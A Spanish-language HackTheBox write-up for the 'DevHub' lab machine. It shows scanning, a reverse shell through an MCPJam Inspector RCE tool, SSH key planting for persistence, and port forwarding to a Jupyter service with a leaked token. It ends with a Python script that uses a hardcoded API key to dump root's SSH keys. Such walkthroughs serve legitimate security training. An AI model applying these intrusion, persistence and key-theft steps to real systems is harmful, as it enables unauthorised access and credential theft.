Resumen de DevHub - HackTheBox

Share
Resumen de DevHub - HackTheBox
audio-thumbnail
The Unfallen Kingdom
0:00
/227.647083

Antes de continuar

Si te interesan los pentesting/operaciones de Red Team o ciberseguridad ofensiva, ten en cuenta que leer este post puede hacerte spoiler de la máquina Reactor. Si planeas completar esta máquina, por favor no sigas leyendo.

  • Dificultad: Media (Competitivo)
  • Sistema operativo: Debian 13

Lo primero que haré, como ya es costumbre en mis máquinas, es añadir la dirección IP al fichero etc/hosts para no tener que memorizar la dirección IP de la máquina.

Seguidamente, procederé a realizar un escaneo a la máquina, como de nuevo, es costumbre.

sudo nmap -p- -sS -T5 --min-rate 5000 -vvv -Pn -o scan.txt devhub.htb

Además, realizaremos un escaneo detallado a los puertos que hemos detectado.

sudo nmap -p22,80,6274 -sC -sV -vvv -Pn -o scan_detailed.txt devhub.htb

Como podemos ver, los puertos 22 y 80, pertenecen a los servicios estándar, el servicio SSH y el servicio HTTP. El puerto 6274 también pertenece a un servidor HTTP. Accediendo al puerto 80, nos encontramos esto:

No hay nada interesante, es un panel normal y corriente, sin nada interactivo. Sin embargo, nos desvela que el puerto 8888 es accesible a nivel interno, cosa que deberemos analizar más adelante en la escalada de privilegios. Si accedemos a la página http://devhub.htb:6274, observamos que nos encontramos con un software de testeo de IAs llamado MCPJam Inspector:

Observando la página no hay la gran cosa. No es posible iniciar sesión, no existen herramientas, ni recursos, ni prompts, y aparentemente no podemos crear servidores MCP. Sin embargo, si nos dirigimos al apartado Settings, podemos observar la versión del software.

Y haciendo una busqueda rápida de información en Internet, nos damos cuenta de que este software es vulnerable a RCE (Ejecución remota de comandos).

Explotación

Investigando sobre esta vulnerabilidad, me encontré que con una petición HTTP diseñada específicamente para el API Endpoint /api/mcp/connect se podía ejecutar comandos en el servidor, por lo que yo mismo diseñé una herramienta para explotar esta vulnerabilidad y poder obtener una reverse shell. He aquí el repositorio de Github donde he subido la herramienta.

GitHub - daemoncibsec/mcpExec: POC for CVE-2026-23744 for a python revshell
POC for CVE-2026-23744 for a python revshell. Contribute to daemoncibsec/mcpExec development by creating an account on GitHub.
./mcpExec.py http://devhub.htb:6274 10.10.16.46 4444

Con esto conseguí la Reverse Shell y pude acceder al sistema.

Escalada de privilegios lateral

A continuación, si echamos un vistazo a nuestro usuario, podemos ver que somos "mcp-dev". Si nos dirigimos a nuestro directorio /home/mcp-dev, nos encontramos con que no existe ninguna flag. Esto significa que debemos escalar privilegios hacia otro usuario. Observando el fichero /etc/passwd, podemos ver qué otro usuario existe en el sistema.

cat /etc/passwd

Deberemos hacer una escalada de privilegios lateral hacia el usuario analyst. Sospecho que para ello necesitaremos acceso al puerto 8888 que encontramos en la página principal, sin embargo, no podemos acceder a él con nuestro navegador debido a que se encuentra en la máquina víctima. Eso sería si no existiera SSH, ya que con dicho servicio podermos "redirigir" un puerto de una máquina al nuestro para acceder a dicho puerto como si fuera un servicio que existe en nuestra máquina a nivel local, es decir:

  • Máquina víctima posee el puerto 8888
  • Puerto 8888 solo es accesible desde la máquina víctima
  • El atacante no puede acceder a la máquina víctima
  • El atacante establece conexión por SSH para hacer "port forwarding" y poder acceder al puerto inaccesible.

Para poder acceder a través de SSH a la máquina víctima requerimos de contraseña, y no la tenemos. Sin embargo, hay otra forma de hacerlo: A través de pares de claves pública/privada.

Como la máquina víctima tiene SSH instalado, podemos instalar nuestro clave SSH pública en la máquina para poder acceder a esta sin contraseña. Para ello, creo el directorio .ssh en el directorio del usuario (/home/mcp-dev) para poder cargar mi clave pública en el fichero authorized_keys y sí poder autenticarme con mi clave privada, obteniendo acceso SSH a la máquina.

mkdir .ssh
cd .ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOpayN0rnITq/vWnTdjLyRL9LJnIZBMCKomncGILq5e usuario@da3m0n" >> da3m0n.pub
cat da3m0n.pub >> authorized_keys
ssh mcp-dev@devhub.htb

Ahora que sabemos que tenemos acceso por SSH, deberemos hacer el port forwarding con el siguiente comando:

ssh -L 8888:localhost:8888 mcp-dev@devhub.htb

Y con esto, ya tendríamos acceso al sistema y al puerto para poder acceder por navegador. Sin embargo, cuando trato de acceder, no encuentra dicho puerto, es decir, no es una página web.

Si investigo los procesos que hay abierto en el sistema bajo ese puerto, obtenemos lo siguiente:

ps aux | grep jupyter

Aparentemente se trata de una aplicación. Buscando en internet, resulta que es una especia de IDE que permite edición de código de forma simultánea, por lo que tiene sentido que esté relacionado con un puerto donde se puede conectar la gente. He instalado Jupyter Labs (https://jupyter.org/install) para poder acceder a dicho servicio a través del navegador.

Nos hace falta un token para acceder. Sin embargo, si observamos con cuidado la captura de pantalla anterior, nos damos cuenta de que en la propia ejecución del proceso existe un token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7.

Si probamos a iniciar sesión con ese token, obtenemos acceso.

A continuación podemos ver que tenemos un archivo que sería un script de Python. Si intentamos ejecutarlo, no pasa absolutamente nada (de hecho aparece un error por que el código intenta leer un archivo que no existe).

Sin embargo, recordemos que el proceso estaba bajo el UID del usuario analyst, por lo que podemos aprovechar la ejecución de este mismo proceso para crear un subproceso bajo el mismo usuario que nos dé una Shell reversa y así poder entrar al sistema como el usuario analyst:

Y si nos dirigimos al directorio del usuario, obtenemos la bandera.

Escalada de privilegios vertical

Antes de comenzar, volveré a establecer persistencia por SSH introduciendo mi clave privada (tuve que cambiar de terminal para poder hacer esto).

Y pude acceder como analyst de nuevo al sistema. Anteriormente cuando listamos los procesos relacionados con jupyter, encontramos cosas interesantes. Lo que más me llamó la atención es el fichero server.py que estaba ejecutando root:

ps aux | grep jupyter

Que root esté ejecutando un proceso indica que tiene los privilegios máximos, por lo que, si podemos explotar ese proceso, lograríamos acceder al sistema con privilegios de root. Si me voy al fichero server.py y lo examino, me doy cuenta de que se trata de un servidor que contiene una API. En el fichero, además, obtenemos algunas tokens para dicha API:

Las cuales seguramente podremos usar en la misma API. Si accedemos a la API usando el "SSH port forwarding" para acceder al puerto 5000 tal y como hicimos antes con el puerto 8888:

Ahora podemos acceder a la API, y como podemos ver, nos da bastante información:

Nos dice que tenemos 3 endpoints distintos. Resumiendo entre lo que he leído en server.py, /health que muestra información sobre el servidor, después está el endpoint /tools/list, que muestra comandos que puedes ejecutar en la API, y por último se encuentra /tools/call, que ejecuta los comandos que se encuentran en la API. Observando la API, me di cuenta de que existía este comando dentro del endpoint /tools/call, que permite extraer la clave SSH del usuario root (por algún motivo que no conozco, pero en fin).

Sabiendo esto, y aprovechando esta API key que existía en server.py:

He podido crear el siguiente script en Python que extrae directamente la clave SSH.

import requests

url = "http://localhost:5000/tools/call"

def request():
    try:
        headers = {
            "X-API-Key": "opsmcp_secret_key_4f5a6b7c8d9e0f1a",
        }
        payload = {
            "name": "ops._admin_dump",
            "arguments": {"target": "ssh_keys", "confirm": True}
        }
        r = requests.post(url, headers=headers, json=payload)
        print(r.text)
        return 0
    except Exception as e:
        print(f"Failed to send the request: {e}")

if __name__=="__main__":
    request()

Copiaré dicha clave SSH a un fichero de clave privada, y lo usaré para acceder la cuenta de root a través de SSH.

echo -e "<clave_privada>" > root_privkey
chmod 600 root_privkey
ssh-add ./root_privkey

Y finalmente, podremos leer la flag.

Read more